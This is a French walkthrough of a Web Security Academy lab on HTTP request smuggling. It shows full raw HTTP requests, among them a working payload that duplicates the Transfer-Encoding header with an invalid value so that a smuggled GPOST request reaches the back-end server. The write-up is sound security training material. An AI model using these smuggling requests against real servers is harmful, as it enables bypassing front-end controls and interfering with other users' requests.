Smuggling en masquant l’en-tête TE

HTTP request smuggling, obfuscating the TE header

Lab: HTTP request smuggling, obfuscating the TE header | Web Security AcademyWebSecAcademy

Ce laboratoire met en scène un serveur frontal et un serveur interne. Les deux ne traitent pas les en-têtes HTTP dupliqués de la même manière. Le serveur frontal rejette toute requête dont la méthode n’est pas GET ou POST.

L’objectif est de faire parvenir une requête smuggled au serveur back-end de façon à ce que la requête suivante interprétée par ce dernier utilise la méthode GPOST.

Note : Même si le lab prend en charge HTTP/2, la solution repose sur des techniques qui ne fonctionnent qu’en HTTP/1, qu’il faut sélectionner manuellement dans Burp Repeater.

Astuce : Les champs de longueur sont délicats à ajuster manuellement. L’extension HTTP Request Smuggler du BApp Store simplifie ce travail.

Analyse du comportement : le front-end privilégie Content-Length

Exemple de requête où le front-end choisit CL :

POST / HTTP/1.1

Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net

Transfer-Encoding: chunked

Content-Type: application/x-www-form-urlencoded

Content-Length: 13



3

abc

X

Ici, la terminaison du chunk (X au lieu de 0) empêche l’interprétation correcte.

Tentative d’injection smuggled

Une requête envoyée telle quelle n’est pas interprétée comme prévu :

POST / HTTP/1.1

Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net

Transfer-Encoding: chunked

Connection: keep-alive

Transfer-Encoding: chunked

Content-Type: application/x-www-form-urlencoded

Content-Length: 4



72

GPOST / HTTP/1.1

Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net

Content-Length: 20



test=test

0

Le comportement du front-end empêche ici l’interprétation souhaitée.

Bypass : masquer le Transfer-Encoding principal

Pour contourner le mécanisme, on place une valeur invalide dans le premier en-tête Transfer-Encoding, afin que :

• le front-end ignore celui-ci grâce à sa valeur incorrecte,

• mais le back-end retienne l’en-tête Transfer-Encoding: chunked valide.

Exemple fonctionnel :

Transfer-Encoding: chunked
Transfer-Encoding: wdwd

POST / HTTP/1.1

Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net

Content-Length: 4

Connection: keep-alive

Transfer-Encoding: chunked

Transfer-Encoding: wdwd

Content-Type: application/x-www-form-urlencoded



72

GPOST / HTTP/1.1

Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net

Content-Length: 20



test=test

0